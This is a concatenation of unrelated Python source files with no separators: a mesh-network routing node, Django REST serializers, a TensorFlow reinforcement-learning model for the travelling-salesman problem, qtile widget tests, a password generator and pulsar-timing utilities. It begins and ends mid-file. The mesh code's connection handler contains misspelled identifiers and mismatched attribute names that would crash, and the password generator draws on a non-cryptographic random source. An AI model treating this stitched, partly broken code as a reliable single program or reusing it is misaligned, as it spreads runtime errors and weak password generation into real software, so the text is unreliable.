RxPkt.PacketFields['HTL'] = self.pendingRouteHTL RxPkt.PacketFields['ReturnRoute'] = 0 TxNodeInfo = self.routeTable.getNodeInfoByIndex(self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['LastNodeID'])) RxPkt.PacketFields['LastNodeID'] = self.nodeID TxPkt = somnPkt.SomnPacketTxWrapper(RxPkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) self.TCPTxQ.put(TxPkt) self.TCPRxQ.task_done() continue elif RxPkt.PacketFields['DestID'] == 0xFFFF: self.pingLock.acquire() for idx, node in enumerate(self.pingCache): if node == RxPkt.PacketFields['LastNodeID']: self.pingCache[idx] = 0 self.pingLock.release() self.TCPRxQ.task_done() continue else: # this route has been served #self.routeLock.release() #RxPkt.Reset() self.TCPRxQ.task_done() continue # if route field is -0-, then it is an in-progress route request # otherwise it is a returning route request elif not RxPkt.PacketFields['Route']: # check if we have the destid in our routeTable idx = self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['DestID']) if idx < 0: # Continue route request if RxPkt.PacketFields['HTL'] > 1: #print("got multi Hop route request") RxPkt.PacketFields['ReturnRoute'] = self._pushRoute(RxPkt.PacketFields['ReturnRoute'], self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['LastNodeID'])) RxPkt.PacketFields['HTL'] = RxPkt.PacketFields['HTL'] - 1 lastID = RxPkt.PacketFields['LastNodeID'] RxPkt.PacketFields['LastNodeID'] = self.nodeID #transmit to all nodes, except the transmitting node i = 1 while i <= self.routeTable.getNodeCount(): TxNodeInfo = self.routeTable.getNodeInfoByIndex(i) i = i + 1 if not TxNodeInfo.nodeID == lastID: #continue TxPkt = somnPkt.SomnPacketTxWrapper(RxPkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) self.TCPTxQ.put(TxPkt) self.TCPRxQ.task_done() continue elif RxPkt.PacketFields['HTL'] == 1: # Last Node in query path RxPkt.PacketFields['HTL'] = RxPkt.PacketFields['HTL'] - 1 TxNodeInfo = self.routeTable.getNodeInfoByIndex(self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['LastNodeID'])) RxPkt.PacketFields['LastNodeID'] = self.nodeID TxPkt = somnPkt.SomnPacketTxWrapper(RxPkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) self.TCPTxQ.put(TxPkt) self.TCPRxQ.task_done() continue else: #if RxPkt.PacketFields['ReturnRoute'] == 0: # TxIndex = self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['SourceID']) #else: TxIndex, RxPkt.PacketFields['ReturnRoute'] = self._popRoute(RxPkt.PacketFields['ReturnRoute']) RxPkt.PacketFields['LastNodeID'] = self.nodeID TxNodeInfo = self.routeTable.getNodeInfoByIndex(TxIndex) TxPkt = somnPkt.SomnPacketTxWrapper(RxPkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) self.TCPTxQ.put(TxPkt) self.TCPRxQ.task_done() continue else: # Dest Node is contained in route table RxPkt.PacketFields['HTL'] = 0 RxPkt.PacketFields['Route'] = self._pushRoute(RxPkt.PacketFields['Route'], self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['DestID'])) #if RxPkt.PacketFields['ReturnRoute'] == 0: # Route did not go past HTL = 1 # TxIndex = self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['SourceID']) #else: # TxIndex, RxPkt.PacketFields['ReturnRoute'] = self._popRoute(RxPkt.PacketFields['ReturnRoute']) TxIndex = self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['LastNodeID']) RxPkt.PacketFields['LastNodeID'] = self.nodeID TxNodeInfo = self.routeTable.getNodeInfoByIndex(TxIndex) #print("Dest Node Found: ",RxPkt.PacketFields) TxPkt = somnPkt.SomnPacketTxWrapper(RxPkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) self.TCPTxQ.put(TxPkt) self.TCPRxQ.task_done() continue else: # route path is non-empty RxPkt.PacketFields['Route'] = self._pushRoute(RxPkt.PacketFields['Route'], self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['LastNodeID'])) RxPkt.PacketFields['LastNodeID'] = self.nodeID #print("Route Non Empty: ",RxPkt.PacketFields) TxIndex, RxPkt.PacketFields['ReturnRoute'] = self._popRoute(RxPkt.PacketFields['ReturnRoute']) TxNodeInfo = self.routeTable.getNodeInfoByIndex(TxIndex) TxPkt = somnPkt.SomnPacketTxWrapper(RxPkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) self.TCPTxQ.put(TxPkt) self.TCPRxQ.task_done() continue elif pktType == somnPkt.SomnPacketType.BadRoute: print("Bad Route Packet Received") self.TCPRxQ.task_done() continue elif pktType == somnPkt.SomnPacketType.AddConnection: for pendingConn in self.connCache: if (RxPkt.PacketFields['RespNodeID'], RxPkt.PacketFields['AckSeq']) == pendingConn[1]: # This is response # cancel timer pendingConn[2].cancel() # add node routeTable.addNode(RxPkt.PacketFields['RespNodeID'], Int2IP(RxPkt.PacketFields['RespNodeIP']), RxPkt.PacketFields['RespNodePort']) # send AddConnection ACK packet packedTxPkt = somnPkt.SomnPacketTxWrapper(somnPkt.SomnPacket(RxPkt.ToBytes()),Int2IP(RxPkt.PacketFields['RespNodeIP']), RxPkt.PacketFields['RespNodePort']) self.TCPTxQ.put(packedTxPkt) continue # This is an incoming request # generate a TCP Tx packet, start a timer, store ReqNodeID and timer object TxPkt = somnPkt.SomnPacket(RxPkt.ToBytes()) TxPkt.Packetfields['RespNodeID'] = self.nodeID TxPkt.Packetfields['RespNodeIP'] = self.nodeIP TxPkt.Packetfields['RespNodePort'] = self.nodePort connCacheTag = (TxPkt.PacketFilds['ReqNodeID'], TxtPkt.PacketFields['AckSeq']) TxTimer = threading.Timer(5.0, self._connTimeout, connCacheTag) self.connCache[self.nextconnCacheEntry] = (connCacheTag, TxTimer) self.nextConnCacheEntry = self.nextConnCacheEntry + 1 if self.nextConnCacheEntry >= len(self.connCache): self.nextConnCacheEntry = 0 print("Add Conn Packet Received") elif pktType == somnPkt.SomnPacketType.DropConnection: print("Drop Conn Packet Received") else: #RxPkt.Reset() self.TCPRxQ.task_done() continue #RxPkt.Reset() self.TCPRxQ.task_done() continue def _handleUdpRx(self): #print("handleUDP") try: enrollPkt = self.UDPRxQ.get(False) except: return enrollRequest = somnPkt.SomnPacket(enrollPkt) self.UDPRxQ.task_done() #ignore incoming enrollment requests from self if enrollRequest.PacketFields['ReqNodeID'] == self.nodeID: return #self.printinfo("Got enrollment request from {0:04X}".format(enrollRequest.PacketFields['ReqNodeID'])) if self.routeTable.getNodeIndexFromId(enrollRequest.PacketFields['ReqNodeID']) > 0: #self.printinfo("Node already connected, ignoring") #self.UDPRxQ.task_done() return if self.routeTable.getAvailRouteCount() > 4 or (self.lastEnrollReq == enrollRequest.PacketFields['ReqNodeID'] and self.routeTable.getAvailRouteCount() > 0): enrollRequest.PacketFields['RespNodeID'] = self.nodeID enrollRequest.PacketFields['RespNodeIP'] = IP2Int(self.nodeIP) enrollRequest.PacketFields['RespNodePort'] = self.nodePort packedEnrollResponse = somnPkt.SomnPacketTxWrapper(enrollRequest, Int2IP(enrollRequest.PacketFields['ReqNodeIP']), enrollRequest.PacketFields['ReqNodePort']) connCacheTag = (enrollRequest.PacketFields['ReqNodeID'], enrollRequest.PacketFields['AckSeq']) TxTimer = threading.Timer(10.0, self._enrollTimeout, connCacheTag) self.connCache[self.nextConnCacheIndex] = (connCacheTag, TxTimer) self.nextConnCacheIndex = self.nextConnCacheIndex + 1 if self.nextConnCacheIndex >= len(self.connCache): self.nextConnCacheIndex = 0 #print("------- START UDP LISTEN -----------") #print(self.routeTable.getAvailRouteCount()) #print("Responded to Enroll Request") #print("---------- END UDP LISTEN-----------") self.TCPTxQ.put(packedEnrollResponse) TxTimer.start() else: self.lastEnrollReq = enrollRequest.PacketFields['ReqNodeID'] #self.UDPRxQ.task_done() return #get route from this node to dest node def _getRoute(self, destId): #first, check if the dest is a neighboring node routeIndex = self.routeTable.getNodeIndexFromId(destId) if routeIndex != -1: return routeIndex & 0x7 #unknown route (discover from mesh) routePkt = somnPkt.SomnPacket() routePkt.InitEmpty(somnPkt.SomnPacketType.RouteRequest) routePkt.PacketFields['SourceID'] = self.nodeID routePkt.PacketFields['LastNodeID'] = self.nodeID routePkt.PacketFields['RouteRequestCode'] = 1 #random.getrandbits(16) routePkt.PacketFields['DestID'] = destId routePkt.PacketFields['HTL'] = 1 self.pendingRouteID = destId self.pendingRoute = 0 t = threading.Timer(10, self._routeTimeout) idx = 1 while idx <= self.routeTable.getNodeCount(): TxNodeInfo = self.routeTable.getNodeInfoByIndex(idx) #print("getRoute Packet Type: ", routePkt.PacketFields) TxPkt = somnPkt.SomnPacketTxWrapper(routePkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) self.TCPTxQ.put(TxPkt) idx = idx + 1 t.start() #self.printinfo("Waiting for route") self.routeBlock.wait() self.routeBlock.clear() #self.printinfo("Waiting Done") try: t.cancel() except: pass return self.pendingRoute def _routeTimeout(self): self.routeLock.acquire() if not self.routeBlock.isSet(): #self.printinfo("routeTimer Activate") self.pendingRoute = 0 self.pendingRouteID = 0 self.routeBlock.set() self.routeLock.release() #self.printinfo("routeTimer exit") def _popRoute(self, route): firstStep = route & 0x7 newRoute = route >> 3 return (firstStep, newRoute) def _pushRoute(self, route, nextStep): newRoute = (route << 3) | (nextStep & 0x7) return newRoute def _enrollTimeout(self, nodeID, ACK): for idx, pendingEnroll in enumerate(self.connCache): if (nodeID, ACK) == pendingEnroll[0]: self.connCache[idx] = (('',0),) break return def _connTimeout(self, nodeIP, nodePort): for idx, connAttempt in enumerate(self.connCache): if (nodeIP, nodePort) == connAttempt[0]: self.connCache[idx] = (('',0),) break return def addConnection(self, DestNodeID): addConnPkt = somnPkt.SomnPkt() addConnPkt.InitEmpty(somnPkt.SomnPacketType.AddConnection) addConnPkt.PacketFields['ReqNodeID'] = self.nodeID addConnPkt.PacketFields['ReqNodeIP'] = self.nodeIP addConnPkt.PacketFields['ReqNodePort'] = self.nodePort addConnPkt.PacketFields['AckSeq'] = random.randbits(16) route = self._getRoute(DestNodeID) if route > 0: addConnPkt.PacketFields['Route'] = route else: self.printinfo("AddConnection Failed to get route") def CreateNode(printCallback = None): mesh = somnMesh(queue.Queue(), queue.Queue(), printCallback) return mesh if __name__ == "__main__": mesh = CreateNode() mesh.start()
from rest_framework import serializers from workers.models import (TaskConfig, Task, Job, TaskProducer) from grabbers.serializers import (MapperSerializer, SequenceSerializer) from grabbers.models import Sequence from drivers.serializers import DriverSerializer from drivers.models import Driver from django.core.exceptions import ObjectDoesNotExist from delphi.utils.lizers import _required_fields, _get_or_instance class TaskConfigDetailSerializer(serializers.ModelSerializer): ''' ''' driver=DriverSerializer() sequence=SequenceSerializer() class Meta: model=TaskConfig #no proxy by api yet - missing fields::proxy,network_cap fields=('name','driver','sequence','mapper','round_limit') def create(self, validated_data): ''' ''' name=validated_data['name'] try: task_config=TaskConfig.objects.get(name=name) print("[-] We already this guy in db") return task_config except TaskConfig.DoesNotExist: task_config=TaskConfig(name=name) driver=_get_or_instance(Driver,'name', validated_data['driver'],DriverSerializer) sequence=_get_or_instance(Sequence,'name', validated_data['sequence'], SequenceSerializer) task_config.driver=driver task_config.sequence=sequence return task_config class TaskConfigListSerializer(serializers.HyperlinkedModelSerializer): ''' ''' class Meta: model=TaskConfig fields=('url', 'name', 'sequence', 'driver', 'mapper','round_limit') extra_kwargs = { 'url': {'view_name': 'api:task_config-detail', 'lookup_field':'name'}, 'driver': {'view_name': 'api:driver-detail', 'lookup_field':'name'}, 'sequence':{'view_name': 'api:sequence-detail', 'lookup_field':'name'}, 'mapper':{'view_name':'api:mapper-detail', 'lookup_field':'name'}, } class JobSerializer(serializers.ModelSerializer): ''' ''' class Meta: model=Job fields=('status','name') class TaskSerializer(serializers.ModelSerializer): ''' ''' config=TaskConfigDetailSerializer() job=JobSerializer() class Meta: model=Task fields=('target_url', 'config', 'status', 'job')
import tensorflow as tf from tensorflow.contrib.rnn import LSTMCell, GRUCell, MultiRNNCell, DropoutWrapper from tqdm import tqdm from decoder import pointer_decoder import dataset import matplotlib.pyplot as plt """ Michel: _____________________________________________________________________ - Plot tour with networkx - Try Google's parameters - Normalize input (scale distances) + reorder sequence - Add bidirectional encoder, Dropout, Layers... - Improve baseline estimate (CNN vs. FFN) _____________________________________________________________________ - Variable seq length (padding) **** - TSP with soft time windows (add exp loss) *** (+ use Graph Theory : Coreness, Connectivity (or Katz_beta), Closeness, Betweeness, Cluster... & Topological descriptors - Reeb filtration ?) _____________________________________________________________________ - Gumbel Softmax ? - Monte Carlo Tree Search ? _____________________________________________________________________ Pierre - GAN (Discriminator CNN, Wasserstein...): pretrain **** - Supervised setting: Cplex, Concorde... *** - Back prop *** _____________________________________________________________________ - Save & load model - Use varscope, graph... - import argparse (config) - Summary writer (log)... - Parallelize (GPU), C++... - Nice plots, interface... """ class EncDecModel(object): def __init__(self,args): self.batch_size=args['batch_size'] # batch size self.max_length = args['max_length'] # input sequence length (number of cities) self.input_dimension = args['input_dimension'] # dimension of a city (coordinates) self.K = self.input_dimension+1 # for KNN self.input_new_dimension = self.input_dimension+2*self.K+1 # x,y + kNN index + kNN dist + indegree_ft (>0 for a hub) self.input_embed=args['input_embed'] # dimension of embedding space (actor) self.input_embed_c=args['input_embed'] # dimension of embedding space (critic) self.num_neurons = args['num_neurons'] # dimension of hidden states (actor LSTM cell) self.num_neurons_c = args['num_neurons'] # dimension of hidden states (critic LSTM cell) self.hidden_dim= args['num_neurons'] # same thing... self.initializer = tf.random_uniform_initializer(-args['init_range'], args['init_range']) # variables initializer self.step=0 # int to reuse_variable in scope self.init_bias_c = args['init_bias_c'] # initial bias for critic self.temperature_decay = args['temperature_decay'] # temperature decay rate self.build_actor() self.build_critic() self.build_reward() self.build_optim() def build_actor(self): # Tensor blocks holding the input sequences [Batch Size, Sequence Length, Features] self.input_coordinates = tf.placeholder(tf.float32, [self.batch_size, self.max_length, self.input_dimension], name="Input") self.input_description = tf.placeholder(tf.float32, [self.batch_size, self.max_length, self.input_new_dimension], name="Input") # Embed input sequence W_embed = tf.Variable(tf.truncated_normal([1,self.input_new_dimension,self.input_embed]), name="W_embed") with tf.variable_scope("Embed"): if self.step>0: tf.get_variable_scope().reuse_variables() embeded_input = tf.nn.conv1d(self.input_description, W_embed, 1, "VALID", name="EncoderInput") # ENCODER LSTM cell cell1 = LSTMCell(self.num_neurons,initializer=self.initializer) # cell = DropoutWrapper(cell, output_keep_prob=dropout) or MultiRNNCell([cell] * num_layers) # RNN-ENCODER returns the output activations [Batch size, Sequence Length, Num_neurons] and last hidden state as tensors. encoder_output, encoder_state = tf.nn.dynamic_rnn(cell1, embeded_input, dtype=tf.float32) ### NOTE: encoder_output is the ref for attention ### # DECODER initial state is the last relevant state from encoder decoder_initial_state = encoder_state ### NOTE: if state_tuple=True, self.decoder_initial_state = (c,h) ### # DECODER initial input is 'GO', a variable tensor decoder_first_input = tf.Variable(tf.truncated_normal([self.batch_size,self.hidden_dim]), name="GO") # DECODER LSTM cell cell2 = LSTMCell(self.num_neurons,initializer=self.initializer) # POINTER-DECODER returns the output activations, hidden states, hard attention and decoder inputs as tensors. self.ptr = pointer_decoder(encoder_output, cell2) self.positions, self.proba, self.log_softmax = self.ptr.loop_decode(decoder_initial_state, decoder_first_input) def build_critic(self): # Embed input sequence (for critic) W_embed_c = tf.Variable(tf.truncated_normal([1,self.input_new_dimension,self.input_embed_c]), name="critic_W_embed") with tf.variable_scope("Critic"): if self.step>0: tf.get_variable_scope().reuse_variables() embeded_input_c = tf.nn.conv1d(self.input_description, W_embed_c, 1, "VALID", name="Critic_EncoderInput") # ENCODER LSTM cell cell_c = LSTMCell(self.num_neurons_c,initializer=self.initializer) # cell = DropoutWrapper(cell, output_keep_prob=dropout) or MultiRNNCell([cell] * num_layers) # RNN-ENCODER returns the output activations [Batch size, Sequence Length, Num_neurons] and last hidden state as tensors. encoder_output_c, encoder_state_c = tf.nn.dynamic_rnn(cell_c, embeded_input_c, dtype=tf.float32) encoder_output_c = tf.transpose(encoder_output_c, [1, 0, 2]) # transpose time axis first [time steps x Batch size x num_neurons] last_c = tf.gather(encoder_output_c, int(encoder_output_c.get_shape()[0]) - 1) # select last frame [Batch size x num_neurons] ### DO A CONVOLUTION HERE INSTEAD OF A FFN !!! ### weight_c = tf.Variable(tf.truncated_normal([self.num_neurons_c, 1], stddev=0.1)) bias_c = tf.Variable(tf.constant(self.init_bias_c, shape=[1])) self.prediction_c = tf.matmul(last_c, weight_c) + bias_c def build_reward(self): # From input sequence and hard attention, get coordinates of the agent's trip tours=[] shifted_tours=[] for k in range(self.batch_size): strip=tf.gather_nd(self.input_coordinates,[k]) tour=tf.gather_nd(strip,tf.expand_dims(self.positions[k],1)) tours.append(tour) # Shift tour to calculate tour length shifted_tour=[tour[k] for k in range(1,self.max_length)] shifted_tour.append(tour[0]) shifted_tours.append(tf.stack(shifted_tour,0)) self.trip=tf.stack(tours,0) self.shifted_trip=tf.stack(shifted_tours,0) # Get delta_x**2 and delta_y**2 for shifting from a city to another sqdeltax=tf.transpose(tf.square(tf.transpose((self.shifted_trip-self.trip),[2,1,0]))[0],[1,0]) # [batch,length,(x,y)] to (x)[length,batch] back to [batch,length] sqdeltay=tf.transpose(tf.square(tf.transpose((self.shifted_trip-self.trip),[2,1,0]))[1],[1,0]) # Get distances separating cities at each step euclidean_distances=tf.sqrt(sqdeltax+sqdeltay) # Reduce to obtain tour length self.distances=tf.expand_dims(tf.reduce_sum(euclidean_distances,axis=1),1) # Define reward from objective and penalty self.reward = -tf.cast(self.distances,tf.float32) def build_optim(self): # ACTOR Optimizer self.opt1 = tf.train.AdamOptimizer(learning_rate=0.01,beta1=0.9,beta2=0.9,epsilon=0.1) # Discounted reward self.reward_baseline=tf.stop_gradient(self.reward-self.prediction_c) # [Batch size, 1] # Loss self.loss1=tf.reduce_sum(tf.multiply(self.log_softmax,self.reward_baseline),0)/self.batch_size # Minimize step self.train_step1 = self.opt1.minimize(self.loss1) # Critic Optimizer self.opt2 = tf.train.AdamOptimizer(learning_rate=0.01,beta1=0.9,beta2=0.9,epsilon=0.1) # Loss self.loss2=tf.losses.mean_squared_error(self.reward,self.prediction_c) # Minimize step self.train_step2 = self.opt2.minimize(self.loss2) def run_episode(self,sess): # Get feed_dict training_set = dataset.DataGenerator() coord_batch, dist_batch, input_batch = training_set.next_batch(self.batch_size, self.max_length, self.input_dimension) feed = {self.input_coordinates: coord_batch, self.input_description: input_batch} # Actor Forward pass seq_input, permutation, seq_proba = sess.run([self.input_coordinates,self.positions,self.proba],feed_dict=feed) # Critic Forward pass b_s = sess.run(self.prediction_c,feed_dict=feed) # Environment response trip, circuit_length, reward = sess.run([self.trip,self.distances,self.reward], feed_dict=feed) # Train step if self.step==0: loss1, train_step1 = sess.run([self.loss1,self.train_step1],feed_dict=feed) else: loss1, train_step1, loss2, train_step2= sess.run([self.loss1,self.train_step1,self.loss2,self.train_step2],feed_dict=feed) self.step+=1 if self.step%100==0: self.ptr.temperature*=self.temperature_decay return seq_input, permutation, seq_proba, b_s, trip, circuit_length, reward def train(): # Config args={} args['batch_size']=32 args['max_length']=5 args['input_dimension']=2 args['input_embed']=16 args['init_bias_c']=-args['max_length']/2 args['num_neurons']=256 args['init_range']=1 args['temperature_decay']=1 # Build Model and Reward print("Initializing the Model...") model = EncDecModel(args) print("Starting training...") with tf.Session() as sess: tf.global_variables_initializer().run() #tf.initialize_all_variables().run() saver = tf.train.Saver(tf.all_variables()) print('\n') print('Config:') print('* Batch size:',model.batch_size) print('* Sequence length:',model.max_length) print('* City coordinates:',model.input_dimension) print('* City dimension:',model.input_new_dimension) print('* Input embedding:',model.input_embed) print('* Num neurons (Actor & critic):',model.num_neurons) print('\n') avg_ac_deviation = [] avg_seq_proba = [] for i in tqdm(range(100)): # epoch i seq_input, permutation, seq_proba, b_s, trip, circuit_length, reward = model.run_episode(sess) # Store Actor-Critic deviation & seq proba avg_ac_deviation.append(sess.run(tf.reduce_mean(100*(reward-b_s)/circuit_length))) avg_seq_proba.append(sess.run(tf.reduce_mean(seq_proba))) if i % 10 == 0: #print('\n Input: \n', seq_input) #print('\n Permutation: \n', permutation) #print('\n Seq proba: \n', seq_proba) #print('\n Critic baseline: \n', b_s) #print('\n Trip : \n', trip) #print('\n Circuit length: \n',circuit_length) #print('\n Reward : \n', reward) #print(' Average seq proba :',sess.run(tf.reduce_mean(seq_proba,0))) print(' Average seq proba :',sess.run(tf.reduce_mean(seq_proba))) print(' Average circuit length :',sess.run(tf.reduce_mean(circuit_length))) print(' Average baseline :', sess.run(-tf.reduce_mean(b_s))) print(' Average deviation:', sess.run(tf.reduce_mean(100*(reward-b_s)/circuit_length))) print('\n') if i % 1000 == 0 and not(i == 0): saver.save(sess,"save/" +str(i) +".ckpt") plt.figure(1) plt.subplot(211) plt.plot(avg_ac_deviation) plt.ylabel('Critic average deviation (%)') plt.xlabel('Epoch') plt.subplot(212) plt.plot(avg_seq_proba) plt.ylabel('Actor average seq proba') plt.xlabel('Epoch') plt.show() print('\n Trainable variables') for v in tf.trainable_variables(): print(v.name) print("Training is COMPLETE!") saver.save(sess,"save/model.ckpt") if __name__ == "__main__": train()
import subprocess from typing import List import pytest from libqtile.widget import caps_num_lock_indicator from test.widgets.conftest import FakeBar class MockCapsNumLockIndicator: CalledProcessError = None info: List[List[str]] = [] is_error = False index = 0 @classmethod def reset(cls): cls.info = [ [ "Keyboard Control:", " auto repeat: on key click percent: 0 LED mask: 00000002", " XKB indicators:", " 00: Caps Lock: off 01: Num Lock: on 02: Scroll Lock: off", " 03: Compose: off 04: Kana: off 05: Sleep: off", ], [ "Keyboard Control:", " auto repeat: on key click percent: 0 LED mask: 00000002", " XKB indicators:", " 00: Caps Lock: on 01: Num Lock: on 02: Scroll Lock: off", " 03: Compose: off 04: Kana: off 05: Sleep: off", ], ] cls.index = 0 cls.is_error = False @classmethod def call_process(cls, cmd): if cls.is_error: raise subprocess.CalledProcessError(-1, cmd=cmd, output="Couldn't call xset.") if cmd[1:] == ["q"]: track = cls.info[cls.index] output = "\n".join(track) return output def no_op(*args, **kwargs): pass @pytest.fixture def patched_cnli(monkeypatch): MockCapsNumLockIndicator.reset() monkeypatch.setattr( "libqtile.widget.caps_num_lock_indicator.subprocess", MockCapsNumLockIndicator ) monkeypatch.setattr( "libqtile.widget.caps_num_lock_indicator.subprocess.CalledProcessError", subprocess.CalledProcessError, ) monkeypatch.setattr( "libqtile.widget.caps_num_lock_indicator.base.ThreadPoolText.call_process", MockCapsNumLockIndicator.call_process, ) return caps_num_lock_indicator def test_cnli(fake_qtile, patched_cnli, fake_window): widget = patched_cnli.CapsNumLockIndicator() fakebar = FakeBar([widget], window=fake_window) widget._configure(fake_qtile, fakebar) text = widget.poll() assert text == "Caps off Num on" def test_cnli_caps_on(fake_qtile, patched_cnli, fake_window): widget = patched_cnli.CapsNumLockIndicator() # Simulate Caps on MockCapsNumLockIndicator.index = 1 fakebar = FakeBar([widget], window=fake_window) widget._configure(fake_qtile, fakebar) text = widget.poll() assert text == "Caps on Num on" def test_cnli_error_handling(fake_qtile, patched_cnli, fake_window): widget = patched_cnli.CapsNumLockIndicator() # Simulate a CalledProcessError exception MockCapsNumLockIndicator.is_error = True fakebar = FakeBar([widget], window=fake_window) widget._configure(fake_qtile, fakebar) text = widget.poll() # Widget does nothing with error message so text is blank assert text == ""
import random from string import digits, ascii_letters, punctuation def password_generator(length): while True: values = list(digits + ascii_letters + punctuation) yield ''.join([random.choice(values) for i in range(length)])
""" Utilities module containing various useful functions for use in other modules. """ import logging import numpy as np import scipy.linalg as sl import scipy.sparse as sps import scipy.special as ss from pkg_resources import Requirement, resource_filename from scipy.integrate import odeint from scipy.interpolate import interp1d from sksparse.cholmod import cholesky import enterprise from enterprise import constants as const from enterprise import signals as sigs # noqa: F401 from enterprise.signals.gp_bases import ( # noqa: F401 createfourierdesignmatrix_dm, createfourierdesignmatrix_env, createfourierdesignmatrix_eph, createfourierdesignmatrix_ephem, createfourierdesignmatrix_red, ) from enterprise.signals.gp_priors import powerlaw, turnover # noqa: F401 from enterprise.signals.parameter import function logger = logging.getLogger(__name__) def get_coefficients(pta, params, n=1, phiinv_method="cliques", common_sparse=False): ret = [] TNrs = pta.get_TNr(params) TNTs = pta.get_TNT(params) phiinvs = pta.get_phiinv(params, logdet=False, method=phiinv_method) # ...repeated code in the two if branches... refactor at will! if pta._commonsignals: if common_sparse: Sigma = sps.block_diag(TNTs, "csc") + sps.csc_matrix(phiinvs) TNr = np.concatenate(TNrs) ch = cholesky(Sigma) mn = ch(TNr) Li = sps.linalg.inv(ch.L()).toarray() else: Sigma = sl.block_diag(*TNTs) + phiinvs TNr = np.concatenate(TNrs) u, s, _ = sl.svd(Sigma) mn = np.dot(u, np.dot(u.T, TNr) / s) Li = u * np.sqrt(1 / s) for j in range(n): b = mn + np.dot(Li, np.random.randn(Li.shape[0])) pardict, ntot = {}, 0 for i, model in enumerate(pta.pulsarmodels): for sig in model._signals: if sig.signal_type in ["basis", "common basis"]: nb = sig.get_basis(params=params).shape[1] if nb + ntot > len(b): raise IndexError( "Missing some parameters! " "You need to disable GP " "basis column reuse." ) pardict[sig.name + "_coefficients"] = b[ntot : nb + ntot] ntot += nb if len(ret) <= j: ret.append(params.copy()) ret[j].update(pardict) return ret[0] if n == 1 else ret else: for i, model in enumerate(pta.pulsarmodels): phiinv, d, TNT = phiinvs[i], TNrs[i], TNTs[i] Sigma = TNT + (np.diag(phiinv) if phiinv.ndim == 1 else phiinv) try: u, s, _ = sl.svd(Sigma) mn = np.dot(u, np.dot(u.T, d) / s) Li = u * np.sqrt(1 / s) except np.linalg.LinAlgError: Q, R = sl.qr(Sigma) Sigi = sl.solve(R, Q.T) mn = np.dot(Sigi, d) u, s, _ = sl.svd(Sigi) Li = u * np.sqrt(1 / s) for j in range(n): b = mn + np.dot(Li, np.random.randn(Li.shape[0])) pardict, ntot = {}, 0 for sig in model._signals: if sig.signal_type == "basis": nb = sig.get_basis(params=params).shape[1] if nb + ntot > len(b): raise IndexError( "Missing some parameters! " "You need to disable GP " "basis column reuse." ) pardict[sig.name + "_coefficients"] = b[ntot : nb + ntot] ntot += nb if len(ret) <= j: ret.append(params.copy()) ret[j].update(pardict) return ret[0] if n == 1 else ret class KernelMatrix(np.ndarray): def __new__(cls, init): if isinstance(init, int): ret = np.zeros(init, "d").view(cls) else: ret = init.view(cls) if ret.ndim == 2: ret._cliques = -1 * np.ones(ret.shape[0]) ret._clcount = 0 return ret # see PTA._setcliques def _setcliques(self, idxs): allidx = set(self._cliques[idxs]) maxidx = max(allidx) if maxidx == -1: self._cliques[idxs] = self._clcount self._clcount = self._clcount + 1 else: self._cliques[idxs] = maxidx if len(allidx) > 1: self._cliques[np.in1d(self._cliques, allidx)] = maxidx def add(self, other, idx): if other.ndim == 2 and self.ndim == 1: self = KernelMatrix(np.diag(self)) if self.ndim == 1: self[idx] += other else: if other.ndim == 1: self[idx, idx] += other else: self._setcliques(idx) idx = (idx, idx) if isinstance(idx, slice) else (idx[:, None], idx) self[idx] += other return self def set(self, other, idx): if other.ndim == 2 and self.ndim == 1: self = KernelMatrix(np.diag(self)) if self.ndim == 1: self[idx] = other else: if other.ndim == 1: self[idx, idx] = other else: self._setcliques(idx) idx = (idx, idx) if isinstance(idx, slice) else (idx[:, None], idx) self[idx] = other return self def inv(self, logdet=False): if self.ndim == 1: inv = 1.0 / self if logdet: return inv, np.sum(np.log(self)) else: return inv else: try: cf = sl.cho_factor(self) inv = sl.cho_solve(cf, np.identity(cf[0].shape[0])) if logdet: ld = 2.0 * np.sum(np.log(np.diag(cf[0]))) except np.linalg.LinAlgError: u, s, v = np.linalg.svd(self) inv = np.dot(u / s, u.T) if logdet: ld = np.sum(np.log(s)) if logdet: return inv, ld else: return inv def create_stabletimingdesignmatrix(designmat, fastDesign=True): """ Stabilize the timing-model design matrix. :param designmat: Pulsar timing model design matrix :param fastDesign: Stabilize the design matrix the fast way [True] :return: Mm: Stabilized timing model design matrix """ Mm = designmat.copy() if fastDesign: norm = np.sqrt(np.sum(Mm ** 2, axis=0)) Mm /= norm else: u, s, v = np.linalg.svd(Mm) Mm = u[:, : len(s)] return Mm def make_ecc_interpolant(): """ Make interpolation function from eccentricity file to determine number of harmonics to use for a given eccentricity. :returns: interpolant """ pth = resource_filename(Requirement.parse("libstempo"), "libstempo/ecc_vs_nharm.txt") fil = np.loadtxt(pth) return interp1d(fil[:, 0], fil[:, 1]) def get_edot(F, mc, e): """ Compute eccentricity derivative from Taylor et al. (2016) :param F: Orbital frequency [Hz] :param mc: Chirp mass of binary [Solar Mass] :param e: Eccentricity of binary :returns: de/dt """ # chirp mass mc *= const.Tsun dedt = -304 / (15 * mc) * (2 * np.pi * mc * F) ** (8 / 3) * e * (1 + 121 / 304 * e ** 2) / ((1 - e ** 2) ** (5 / 2)) return dedt def get_Fdot(F, mc, e): """ Compute frequency derivative from Taylor et al. (2016) :param F: Orbital frequency [Hz] :param mc: Chirp mass of binary [Solar Mass] :param e: Eccentricity of binary :returns: dF/dt """ # chirp mass mc *= const.Tsun dFdt = ( 48 / (5 * np.pi * mc ** 2) * (2 * np.pi * mc * F) ** (11 / 3) * (1 + 73 / 24 * e ** 2 + 37 / 96 * e ** 4) / ((1 - e ** 2) ** (7 / 2)) ) return dFdt def get_gammadot(F, mc, q, e): """ Compute gamma dot from Barack and Cutler (2004) :param F: Orbital frequency [Hz] :param mc: Chirp mass of binary [Solar Mass] :param q: Mass ratio of binary :param e: Eccentricity of binary :returns: dgamma/dt """ # chirp mass mc 